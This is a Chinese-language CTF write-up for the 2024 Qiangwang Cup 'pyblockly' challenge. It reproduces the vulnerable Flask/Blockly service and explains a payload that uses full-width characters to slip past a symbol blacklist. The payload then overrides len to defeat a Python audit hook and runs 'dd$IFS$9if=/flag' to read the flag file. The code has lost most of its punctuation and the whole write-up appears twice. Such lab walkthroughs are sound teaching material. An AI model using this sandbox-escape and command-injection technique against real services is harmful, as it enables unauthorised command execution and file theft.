补充知识1.unidecode.unidecode(original_text)函数unidecode是一个python库它将Unicode文本转换为最接近的ASCII表示示例import unidecode # 示例1: 带音调的字母 print(unidecode.unidecode(café)) # 输出: cafe print(unidecode.unidecode(naïve)) # 输出: naive # 示例2: 非拉丁字母 print(unidecode.unidecode(北京)) # 输出: Bei Jing print(unidecode.unidecode(東京)) # 输出: Dong Jing # 示例3: 特殊符号 print(unidecode.unidecode(©)) # 输出: (c) print(unidecode.unidecode(½)) # 输出: 1/2通常中文输入法是全角英文输入法是半角。上述函数会将全角字符转化成半角字符英文ASCII字符集只包含半角字符。在输入法状态栏右键能转换全角和半角。题目from flask import Flask, request, jsonify import re import unidecode import string import ast import sys import os import subprocess import importlib.util import json app Flask(__name__) app.config[JSON_AS_ASCII] False blacklist_pattern r[!\#$%()*,-./:;?[\\\]^_{|}~] def module_exists(module_name): spec importlib.util.find_spec(module_name) if spec is None: return False if module_name in sys.builtin_module_names: return True if spec.origin: std_lib_path os.path.dirname(os.__file__) if spec.origin.startswith(std_lib_path) and not spec.origin.startswith(os.getcwd()): return True return False def verify_secure(m): for node in ast.walk(m): match type(node): case ast.Import: print(ERROR: Banned module ) return False case ast.ImportFrom: print(fERROR: Banned module {node.module}) return False return True def check_for_blacklisted_symbols(input_text): if re.search(blacklist_pattern, input_text): return True else: return False def block_to_python(block): block_type block[type] code if block_type print: text_block block[inputs][TEXT][block] text block_to_python(text_block) code fprint({text}) elif block_type math_number: if str(block[fields][NUM]).isdigit(): code int(block[fields][NUM]) else: code elif block_type text: if check_for_blacklisted_symbols(block[fields][TEXT]): code else: code unidecode.unidecode(block[fields][TEXT]) elif block_type max: a_block block[inputs][A][block] b_block block[inputs][B][block] a block_to_python(a_block) b block_to_python(b_block) code fmax({a}, {b}) elif block_type min: a_block block[inputs][A][block] b_block block[inputs][B][block] a block_to_python(a_block) b block_to_python(b_block) code fmin({a}, {b}) if next in block: block block[next][block] code \n block_to_python(block) \n else: return code return code def json_to_python(blockly_data): block blockly_data[blocks][blocks][0] python_code python_code block_to_python(block) \n return python_code def do(source_code): hook_code def my_audit_hook(event_name, arg): blacklist [popen, input, eval, exec, compile, memoryview] if len(event_name) 4: raise RuntimeError(Too Long!) for bad in blacklist: if bad in event_name: raise RuntimeError(No!) __import__(sys).addaudithook(my_audit_hook) print(source_code) code hook_code source_code tree compile(source_code, run.py, exec, flagsast.PyCF_ONLY_AST) try: if verify_secure(tree): with open(run.py, w) as f: f.write(code) result subprocess.run([python, run.py], stdoutsubprocess.PIPE, timeout5).stdout.decode(utf-8) os.remove(run.py) return result else: return Execution aborted due to security concerns. except: os.remove(run.py) return Timeout! app.route(/) def index(): return app.send_static_file(index.html) app.route(/blockly_json, methods[POST]) def blockly_json(): blockly_data request.get_data() print(type(blockly_data)) blockly_data json.loads(blockly_data.decode(utf-8)) print(blockly_data) try: python_code json_to_python(blockly_data) return do(python_code) except Exception as e: return jsonify({error: Error generating Python code, details: str(e)}) if __name__ __main__: app.run(host 0.0.0.0)解题这里使用的payload为{ blocks:{ blocks:[ { type:text, fields:{ TEXT:‘\nimport”builtins”。lenlambda a1import‘os’。system‘ddIFS9ifflag’ }, inputs:{ } } ] } }1.先复现题目环境进入app.py所在目录执行python app.py访问http://127.0.0.1:5000/进入题目环境因为在app.py中显示ifname main: app.run(host0.0.0.0) 这里并没有指定端口flask默认使用5000如果5000被占用可能自动选择其他。2.使用POST请求将上面的payload传入后request.get_data()返回的是原始字节数据假设传入如下blockly_data b{blocks:{blocks:[{type:text,fields:{TEXT:‘\nimport”builtins”。lenlambda a1import‘os’。system‘lsIFS9’},inputs:{}}]}}前面的b表示这是字节数据不是普通字符串。blockly_data.decode(utf-8)解码为字符串得到{blocks:{blocks:[{type:text,fields:{TEXT:‘\nimport”builtins”。lenlambda a1import‘os’。system‘lsIFS9’},inputs:{}}]}}。json.loads(json_string)的意思是将JSON字符串解析为Python字典。所以最后得到python字典blockly_data{blocks:{blocks:[{type:text,fields:{TEXT:‘\nimport”builtins”。lenlambda a1import‘os’。system‘lsIFS9’},inputs:{}}]}}blockly_data request.get_data() blockly_data json.loads(blockly_data.decode(utf-8))3.然后进入json_to_python函数block{type:text,fields:{TEXT:‘\nimport”builtins”。lenlambda a1import‘os’。system‘lsIFS9’},inputs:{}}def json_to_python(blockly_data): block blockly_data[blocks][blocks][0] python_code python_code block_to_python(block) \n return python_code4.进入block_to_python函数因为block传入的类型是text所以对其进行黑名单检查传入的参数为‘\nimport”builtins”。lenlambda a1import‘os’。system‘ddIFS9ifflag’elif block_type text: if check_for_blacklisted_symbols(block[fields][TEXT]): code else: code unidecode.unidecode(block[fields][TEXT]) 5.re.search()搜索传入字符串有没有上面黑名单字符由于黑名单字符使用的是半角传入字符串使用的都是全角所以没有匹配的字符返回False所以执行步骤4里面的else将字符串内容转化为ASCII字符也就是转变成半角格式可以被正常读取。最后返回的code\n__import__(builtins).lenlambda a:1;__import__(os).system(dd$IFS$9if/flag)#def check_for_blacklisted_symbols(input_text): if re.search(blacklist_pattern, input_text): return True else: return False6.再看主函数接着进入do函数将步骤5里面的code和下面的hook_code进行拼接为code并且写入run.pydef do(source_code): hook_code def my_audit_hook(event_name, arg): blacklist [popen, input, eval, exec, compile, memoryview] if len(event_name) 4: raise RuntimeError(Too Long!) for bad in blacklist: if bad in event_name: raise RuntimeError(No!) __import__(sys).addaudithook(my_audit_hook) print(source_code) code hook_code source_code tree compile(source_code, run.py, exec, flagsast.PyCF_ONLY_AST) try: if verify_secure(tree): with open(run.py, w) as f: f.write(code) result subprocess.run([python, run.py], stdoutsubprocess.PIPE, timeout5).stdout.decode(utf-8) os.remove(run.py) return result else: return Execution aborted due to security concerns. except: os.remove(run.py) return Timeout!最后得到的run.py为def my_audit_hook(event_name, arg): blacklist [popen, input, eval, exec, compile, memoryview] if len(event_name) 4: raise RuntimeError(Too Long!) for bad in blacklist: if bad in event_name: raise RuntimeError(No!) __import__(sys).addaudithook(my_audit_hook) \n__import__(builtins).lenlambda a:1;__import__(os).system(dd$IFS$9if/flag)#result subprocess.run([python, run.py], stdoutsubprocess.PIPE, timeout5)这相当于在命令行执行python run.py后面的stdout.decode(utf-8)意思是将字符输出解码为UTF-8字符串7.执行run.py时python遇到最后一行时一个独立的字符串表达式它创建字符串对象并且执行字符串中的表达式。__import__(builtins).lenlambda a:1;导入builtins模块并重写len函数使得上面的长度判断通过import(os).system(dd$IFS$9if/flag)导入os模块并运行系统命令执行dd if/flag这里使用dd是磁盘复制$IFS空格$9位置参数用来把$IFS和后面的命令分隔开if是input file 输入文件/flag读取文件路径。import是python语句语法关键字import是内置函数调用import os和osimport(os)的效果相同import sys时就会自动加载builtins所以import(builtins).lenlambda a:1;没有新的导入行为发生只是简单赋值所以没有引起审计钩子下面的builtins.len只是简单赋值也不会触发审计钩子。
pyblockly（2024强网杯）题解
补充知识1.unidecode.unidecode(original_text)函数unidecode是一个python库它将Unicode文本转换为最接近的ASCII表示示例import unidecode # 示例1: 带音调的字母 print(unidecode.unidecode(café)) # 输出: cafe print(unidecode.unidecode(naïve)) # 输出: naive # 示例2: 非拉丁字母 print(unidecode.unidecode(北京)) # 输出: Bei Jing print(unidecode.unidecode(東京)) # 输出: Dong Jing # 示例3: 特殊符号 print(unidecode.unidecode(©)) # 输出: (c) print(unidecode.unidecode(½)) # 输出: 1/2通常中文输入法是全角英文输入法是半角。上述函数会将全角字符转化成半角字符英文ASCII字符集只包含半角字符。在输入法状态栏右键能转换全角和半角。题目from flask import Flask, request, jsonify import re import unidecode import string import ast import sys import os import subprocess import importlib.util import json app Flask(__name__) app.config[JSON_AS_ASCII] False blacklist_pattern r[!\#$%()*,-./:;?[\\\]^_{|}~] def module_exists(module_name): spec importlib.util.find_spec(module_name) if spec is None: return False if module_name in sys.builtin_module_names: return True if spec.origin: std_lib_path os.path.dirname(os.__file__) if spec.origin.startswith(std_lib_path) and not spec.origin.startswith(os.getcwd()): return True return False def verify_secure(m): for node in ast.walk(m): match type(node): case ast.Import: print(ERROR: Banned module ) return False case ast.ImportFrom: print(fERROR: Banned module {node.module}) return False return True def check_for_blacklisted_symbols(input_text): if re.search(blacklist_pattern, input_text): return True else: return False def block_to_python(block): block_type block[type] code if block_type print: text_block block[inputs][TEXT][block] text block_to_python(text_block) code fprint({text}) elif block_type math_number: if str(block[fields][NUM]).isdigit(): code int(block[fields][NUM]) else: code elif block_type text: if check_for_blacklisted_symbols(block[fields][TEXT]): code else: code unidecode.unidecode(block[fields][TEXT]) elif block_type max: a_block block[inputs][A][block] b_block block[inputs][B][block] a block_to_python(a_block) b block_to_python(b_block) code fmax({a}, {b}) elif block_type min: a_block block[inputs][A][block] b_block block[inputs][B][block] a block_to_python(a_block) b block_to_python(b_block) code fmin({a}, {b}) if next in block: block block[next][block] code \n block_to_python(block) \n else: return code return code def json_to_python(blockly_data): block blockly_data[blocks][blocks][0] python_code python_code block_to_python(block) \n return python_code def do(source_code): hook_code def my_audit_hook(event_name, arg): blacklist [popen, input, eval, exec, compile, memoryview] if len(event_name) 4: raise RuntimeError(Too Long!) for bad in blacklist: if bad in event_name: raise RuntimeError(No!) __import__(sys).addaudithook(my_audit_hook) print(source_code) code hook_code source_code tree compile(source_code, run.py, exec, flagsast.PyCF_ONLY_AST) try: if verify_secure(tree): with open(run.py, w) as f: f.write(code) result subprocess.run([python, run.py], stdoutsubprocess.PIPE, timeout5).stdout.decode(utf-8) os.remove(run.py) return result else: return Execution aborted due to security concerns. except: os.remove(run.py) return Timeout! app.route(/) def index(): return app.send_static_file(index.html) app.route(/blockly_json, methods[POST]) def blockly_json(): blockly_data request.get_data() print(type(blockly_data)) blockly_data json.loads(blockly_data.decode(utf-8)) print(blockly_data) try: python_code json_to_python(blockly_data) return do(python_code) except Exception as e: return jsonify({error: Error generating Python code, details: str(e)}) if __name__ __main__: app.run(host 0.0.0.0)解题这里使用的payload为{ blocks:{ blocks:[ { type:text, fields:{ TEXT:‘\nimport”builtins”。lenlambda a1import‘os’。system‘ddIFS9ifflag’ }, inputs:{ } } ] } }1.先复现题目环境进入app.py所在目录执行python app.py访问http://127.0.0.1:5000/进入题目环境因为在app.py中显示ifname main: app.run(host0.0.0.0) 这里并没有指定端口flask默认使用5000如果5000被占用可能自动选择其他。2.使用POST请求将上面的payload传入后request.get_data()返回的是原始字节数据假设传入如下blockly_data b{blocks:{blocks:[{type:text,fields:{TEXT:‘\nimport”builtins”。lenlambda a1import‘os’。system‘lsIFS9’},inputs:{}}]}}前面的b表示这是字节数据不是普通字符串。blockly_data.decode(utf-8)解码为字符串得到{blocks:{blocks:[{type:text,fields:{TEXT:‘\nimport”builtins”。lenlambda a1import‘os’。system‘lsIFS9’},inputs:{}}]}}。json.loads(json_string)的意思是将JSON字符串解析为Python字典。所以最后得到python字典blockly_data{blocks:{blocks:[{type:text,fields:{TEXT:‘\nimport”builtins”。lenlambda a1import‘os’。system‘lsIFS9’},inputs:{}}]}}blockly_data request.get_data() blockly_data json.loads(blockly_data.decode(utf-8))3.然后进入json_to_python函数block{type:text,fields:{TEXT:‘\nimport”builtins”。lenlambda a1import‘os’。system‘lsIFS9’},inputs:{}}def json_to_python(blockly_data): block blockly_data[blocks][blocks][0] python_code python_code block_to_python(block) \n return python_code4.进入block_to_python函数因为block传入的类型是text所以对其进行黑名单检查传入的参数为‘\nimport”builtins”。lenlambda a1import‘os’。system‘ddIFS9ifflag’elif block_type text: if check_for_blacklisted_symbols(block[fields][TEXT]): code else: code unidecode.unidecode(block[fields][TEXT]) 5.re.search()搜索传入字符串有没有上面黑名单字符由于黑名单字符使用的是半角传入字符串使用的都是全角所以没有匹配的字符返回False所以执行步骤4里面的else将字符串内容转化为ASCII字符也就是转变成半角格式可以被正常读取。最后返回的code\n__import__(builtins).lenlambda a:1;__import__(os).system(dd$IFS$9if/flag)#def check_for_blacklisted_symbols(input_text): if re.search(blacklist_pattern, input_text): return True else: return False6.再看主函数接着进入do函数将步骤5里面的code和下面的hook_code进行拼接为code并且写入run.pydef do(source_code): hook_code def my_audit_hook(event_name, arg): blacklist [popen, input, eval, exec, compile, memoryview] if len(event_name) 4: raise RuntimeError(Too Long!) for bad in blacklist: if bad in event_name: raise RuntimeError(No!) __import__(sys).addaudithook(my_audit_hook) print(source_code) code hook_code source_code tree compile(source_code, run.py, exec, flagsast.PyCF_ONLY_AST) try: if verify_secure(tree): with open(run.py, w) as f: f.write(code) result subprocess.run([python, run.py], stdoutsubprocess.PIPE, timeout5).stdout.decode(utf-8) os.remove(run.py) return result else: return Execution aborted due to security concerns. except: os.remove(run.py) return Timeout!最后得到的run.py为def my_audit_hook(event_name, arg): blacklist [popen, input, eval, exec, compile, memoryview] if len(event_name) 4: raise RuntimeError(Too Long!) for bad in blacklist: if bad in event_name: raise RuntimeError(No!) __import__(sys).addaudithook(my_audit_hook) \n__import__(builtins).lenlambda a:1;__import__(os).system(dd$IFS$9if/flag)#result subprocess.run([python, run.py], stdoutsubprocess.PIPE, timeout5)这相当于在命令行执行python run.py后面的stdout.decode(utf-8)意思是将字符输出解码为UTF-8字符串7.执行run.py时python遇到最后一行时一个独立的字符串表达式它创建字符串对象并且执行字符串中的表达式。__import__(builtins).lenlambda a:1;导入builtins模块并重写len函数使得上面的长度判断通过import(os).system(dd$IFS$9if/flag)导入os模块并运行系统命令执行dd if/flag这里使用dd是磁盘复制$IFS空格$9位置参数用来把$IFS和后面的命令分隔开if是input file 输入文件/flag读取文件路径。import是python语句语法关键字import是内置函数调用import os和osimport(os)的效果相同import sys时就会自动加载builtins所以import(builtins).lenlambda a:1;没有新的导入行为发生只是简单赋值所以没有引起审计钩子下面的builtins.len只是简单赋值也不会触发审计钩子。
